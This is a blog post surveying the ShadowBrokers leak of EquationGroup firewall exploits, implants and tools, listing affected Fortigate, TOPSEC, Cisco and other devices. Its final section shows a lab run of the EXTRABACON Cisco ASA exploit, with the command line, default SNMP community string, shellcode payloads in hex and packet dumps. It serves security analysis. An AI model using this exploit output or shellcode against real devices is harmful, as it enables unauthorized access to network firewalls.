Nowadays
it's almost impossible to not write about EquationGroup Leak, so I'm
going to start my "blog post" pushing the following picture (realised by
Kaspersky Lab) which would cut-out every doubts about the leak
paternity.
 |
| EquationGroup VS ShadowBrokers's Leak |
The leaked dump
contains a set of exploits, implants and tools for hacking firewalls
(code name: "Firewall Operations"). Let's have a quick look to them:
Exploits:
Following a list of exploit found on the published leak. Please refer to sources at the bottom of the page for original writing about them.
EGREGIOUSBLUNDER. It is a remote code execution exploit for
Fortigate firewalls. It leverages an HTTP cookie overflow and is
different from CVE-2006-6493 as noted by Avast. Models affected include
60, 60M, 80C, 200A, 300A, 400A, 500A, 620B, 800, 5000, 1000A, 3600, and
3600A.
ELIGIBLEBACHELOR This is an exploit with an unclear attack vector
for TOPSEC firewalls running TOS operating system versions 3.2.100.010,
3.3.001.050, 3.3.002.021 and 3.3.002.030.The attack vector is unknown
but it has an XML-like payload that starts with
ELIGIBLEBOMBSHELL It is a remote code execution exploit for TOPSEC
firewalls. It exploits an HTTP cookie command injection vulnerability
and uses ETag examination for version detection. Versions affected
include 3.2.100.010.1_pbc_17_iv_3 to 3.3.005.066.1.
WOBBLYLLAMA
A payload for the ELIGIBLEBOMBSHELL TOPSEC firewall exploit affecting version 3.3.002.030.8_003.
FLOCKFORWARD
A payload for the ELIGIBLEBOMBSHELL TOPSEC firewall exploit affecting version 3.3.005.066.1.
HIDDENTEMPLE
A payload for the ELIGIBLEBOMBSHELL TOPSEC firewall exploit affecting version tos_3.2.8840.1.
CONTAINMENTGRID
A payload for the ELIGIBLEBOMBSHELL TOPSEC firewall exploit affecting version tos_3.3.005.066.1.
GOTHAMKNIGHT
A payload for the ELIGIBLEBOMBSHELL TOPSEC firewall exploit affecting version 3.2.100.010.8_pbc_27. Has no BLATSTING support.
ELIGIBLECANDIDATE
A remote code execution exploit for TOPSEC firewalls that exploits a
HTTP cookie command injection vulnerability, affecting versions
3.3.005.057.1 to 3.3.010.024.1.
ELIGIBLECONTESTANT
A remote code execution exploit for TOPSEC firewalls that exploits a
HTTP POST paramter injection vulnerability, affecting versions
3.3.005.057.1 to 3.3.010.024.1. This exploit can be tried after
ELIGIBLECANDIDATE.
EPICBANANA
A privilege escalation exploit against Cisco Adaptive Security Appliance
(ASA) and Cisco Private Internet eXchange (PIX) devices. Exploitation
takes advantage of default Cisco credentials (password: cisco). Affects
ASA versions 711, 712, 721, 722, 723, 724, 80432, 804, 805, 822, 823,
824, 825, 831, 832 and PIX versions 711, 712, 721, 722, 723, 724, 804.
ESCALATEPLOWMAN
A privilege escalation exploit against WatchGuard firewalls of unknown versions that injects code via the
ifconfig command.
EXTRABACON
A remote code execution exploit against Cisco Adaptive Security
Appliance (ASA) devices affecting ASA versions 802, 803, 804, 805, 821,
822, 823, 824, 825, 831, 832, 841, 842, 843, 844. It exploits an
overflow vulnerability using the Simple Network Management Protocol
(SNMP) and relies on knowing the target's uptime and software version.
BOOKISHMUTE
An exploit against an unknown firewall using Red Hat 6.0.
FALSEMOREL
Allows for the deduction of the "enable" password from data freely
offered by an unspecified firewall (likely Cisco) and obtains privileged
level access using only the hash of the "enable" password. Requires
telnet to be installed on the firewall's inside interface.
Cisco exploits by vulnerabilities:
 |
| Cisco Admits Unknown Vulnerabilities |
Implants:
Following a list of Implants found on the leaked dump.
BLATSTING A firewall software implant that is used with EGREGIOUSBLUNDER (Fortigate) and ELIGIBLEBACHELOR (TOPSEC).
BLATSTING A firewall software implant that is used with EGREGIOUSBLUNDER (Fortigate) and ELIGIBLEBACHELOR (TOPSEC).
BANANAGLEE A non-persistent firewall software implant for Cisco
ASA and PIX devices that is installed by writing the implant directly to
memory. Also mentioned in the previously leaked NSA ANT catalogue.
BANANABALLOT A BIOS module associated with an implant (likely BANANAGLEE).
BEECHPONY A firewall implant that is a predecessor of BANANAGLEE.
JETPLOW A firmware persistence implant for Cisco ASA and PIX
devices that persists BANANAGLEE. Also mentioned in the previously
leaked NSA ANT catalogue.
 |
| JETPLOW evidence on leaked USA Secret Documents |
SCREAMINGPLOW Similar to JETPLOW.
BARGLEE A firewall software implant. Unknown vendor.
BUZZDIRECTION A firewall software implant for Fortigate firewalls.
FEEDTROUGH A technique for persisting BANANAGLEE and ZESTYLEAK
implants for Juniper NetScreen firewalls. Also mentioned in the
previously leaked NSA ANT catalogue.
JIFFYRAUL A module loaded into Cisco PIX firewalls with BANANAGLEE.
BANNANADAIQUIRI An implant associated with SCREAMINGPLOW. Yes, banana is spelled with three Ns this time.
POLARPAWS A firewall implant. Unknown vendor.
POLARSNEEZE A firewall implant. Unknown vendor.
ZESTYLEAK A firewall software implant for Juniper NetScreen
firewalls that is also listed as a module for BANANAGLEE. Also mentioned
in the previously leaked NSA ANT catalogue.
SECONDDATE A packet injection module for BANANAGLEE and BARGLEE.
BARPUNCH A module for BANANAGLEE and BARGLEE implants.
BBALL A module for BANANAGLEE implants.
BBALLOT A module for BANANAGLEE implants.
BBANJO A module for BANANAGLEE implants.
BCANDY A module for BANANAGLEE implants.
BFLEA A module for BANANAGLEE implants.
BMASSACRE A module for BANANAGLEE and BARGLEE implants.
BNSLOG A module for BANANAGLEE and BARGLEE implants.
BPATROL A module for BANANAGLEE implants.
BPICKER A module for BANANAGLEE implants.
BPIE A module for BANANAGLEE and BARGLEE implants.
BUSURPER A module for BANANAGLEE implants.
CLUCKLINE A module for BANANAGLEE implants.
Tools:
Following a list of implemented tools found along the leaked dump.
BILLOCEAN Retrieves the serial number of a firewall, to be recorded in operation notes. Used in conjunction with EGREGIOUSBLUNDER for Fortigate firewalls.
BILLOCEAN Retrieves the serial number of a firewall, to be recorded in operation notes. Used in conjunction with EGREGIOUSBLUNDER for Fortigate firewalls.
FOSHO A Python library for creating HTTP exploits.
BARICE A tool that provides a shell for installing the BARGLEE implant.
DURABLENAPKIN A tool for injecting packets on LANs.
BANANALIAR A tool for connecting to an unspecified implant (likely BANANAGLEE).
PANDAROCK A tool for connecting to a POLARPAWS implant.
TURBOPANDA A tool that can be used to communicate with a HALLUXWATER implant. Also mentioned in the previously leaked NSA ANT catalogue.
TEFLONDOOR A self-destructing post-exploitation shell for executing an arbitrary file. The arbitrary file is first encrypted with a key.
1212/DEHEX Converts hexademical strings to an IP addresses and ports.
XTRACTPLEASING Extracts something from a file and produces a PCAP file as output.
NOPEN A post-exploitation shell consisting of a client and a server that encrypts data using RC6. The server is installed on the target machine.
BENIGNCERTAIN A tool that appears to be for sending certain types of Internet Key Exchange (IKE) packets to a remote host and parsing the response.
RUNNING EXAMPLE:
This is a running example of extrabacon exploit, just to be sure it will work even in my lab environment.
mr@mrtestbox:~$ ./extrabacon_1.1.0.1.py exec -k F_RlDw -v -t 192.168.1.66 -c cisco --mode pass-enable
WARNING: No route found for IPv6 destination :: (no default route?)
Logging to /home/marcoramilli/concernedparent
[+] Executing: ./extrabacon_1.1.0.1.py exec -k F_RlDw -v -t 192.168.1.66 -c cisco --mode pass-enable
[+] running from /home/marcoramilli
Data stored in self.vinfo: ASA803
[+] generating exploit for exec mode pass-enable
[+] using shellcode in ./versions
[+] importing version-specific shellcode shellcode_asa803
[+] building payload for mode pass-enable
appended PMCHECK_ENABLE payload eb14bf7082090931c9b104fcf3a4e92f0000005e
ebece8f8ffffff5531c089bfa5a5a5a5b8d8a5a5a531f8bba525acac31fbb9a5b5a5a531f9baa0a5a5a531facd80
appended AAAADMINAUTH_ENABLE payload eb14bfb060060831c9b104fcf3a4e92f0000005eebece8f8ffffff5
589e557bfa5a5a5a5b8d8a5a5a531f8bba5c5a3ad31fbb9a5b5a5a531f9baa0a5a5a531facd80
[+] random SNMP request-id 425297185
[+] fixing offset to payload 49
overflow (112): 1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.57.47.5.173.53.165.165.165.165.131.236.
4.137.4.36.137.229.131.197.88.4
*** output omitted ****
44.144.144.144.141.123.131.9.139.124.36.20.139.7.255.224.144
payload (133): eb14bf7082090931c9b104fcf3a4e92f0000005eebece8f8ffffff5531c089bfa5a5a5a5b8d8a5a5a531
f8bba525acac31fbb9a5b5a5a531f9baa0a5a5a531facd80eb14bfb060060831c9b104fcf3a4e92f0000005eebece8f8fff
fff5589e557bfa5a5a5a5b8d8a5a5a531f8bba5c5a3ad31fbb9a5b5a5a531f9baa0a5a5a531facd80c3
EXBA msg (371): 3082016f0201010405636973636fa58201610204195985210201000201013082015130819106072b0601020101010
*** output omitted ****
0811081108110811081108110811081108110810d7b810309810b7c2414810b07817f816081100500
[+] Connecting to 192.168.1.66:161
[+] packet 1 of 1
[+] 0000 30 82 01 6F 02 01 01 04 05 63 69 73 63 6F A5 82 0..o.....cisco..
[+] 0010 01 61 02 04 19 59 85 21 02 01 00 02 01 01 30 82 .a...Y.!......0.
[+] 0020 01 51 30 81 91 06 07 2B 06 01 02 01 01 01 04 81 .Q0....+........
[+] 0030 85 EB 14 BF 70 82 09 09 31 C9 B1 04 FC F3 A4 E9 ....p...1.......
[+] 0040 2F 00 00 00 5E EB EC E8 F8 FF FF FF 55 31 C0 89 /...^.......U1..
[+] 0050 BF A5 A5 A5 A5 B8 D8 A5 A5 A5 31 F8 BB A5 25 AC ..........1...%.
[+] 0060 AC 31 FB B9 A5 B5 A5 A5 31 F9 BA A0 A5 A5 A5 31 .1......1......1
[+] 0070 FA CD 80 EB 14 BF B0 60 06 08 31 C9 B1 04 FC F3 .......`..1.....
[+] 0080 A4 E9 2F 00 00 00 5E EB EC E8 F8 FF FF FF 55 89 ../...^.......U.
...
###[ SNMP ]###
version = v2c
community = 'cisco'
\PDU \
|###[ SNMPbulk ]###
| id = <ASN1_INTEGER[425297185]>
| non_repeaters= 0
| max_repetitions= 1
| \varbindlist\
| |###[ SNMPvarbind ]###
| | oid = <ASN1_OID['.1.3.6.1.2.1.1.1']>
| | value = <ASN1_STRING['\xeb\x14\xbfp\x82\t\t1\xc9\xb1\x04\xfc\xf3\xa4\xe9/\x00
\x00\x00^\xeb\xec\xe8\xf8\xff\xff\xffU1\xc0\x89\xbf\xa5\xa5\xa5\xa5\xb8\xd8\xa5\xa5\
xa51\xf8\xbb\xa5%\xac\xac1\xfb\xb9\xa5\xb5\xa5\xa51\xf9\xba\x....
*** output omitted ****
\xa5\xa51\xf9\xba\xa0\xa5\xa5\xa51\xfa\xcd\x80\xc3']>
| |###[ SNMPvarbind ]###
| | oid = <ASN1_OID['.1.3.6.1.4.1.9.9.491.1.3.3.1.1.5.9.95.184.57.47.5.173.53.165
.165.165.165.131.236.4.137.4.36.137.229
*** output omitted ****
44.144.144.144.144.144.144.141.123.131.9.139.124.36.20.139.7.255.224.144']>
| | value = <ASN1_NULL[0]>
****************************************
[-] timeout waiting for response - performing health check
[-] no response from health check - target may have crashed
[-] health check failed
Sources:
Most of the sources I've been using during that survey: Musalbas, Packetstom, ExploitDB, Cisco, Schneier
FONTE: Posted by
Marco Ramilli
Comentários
Postar um comentário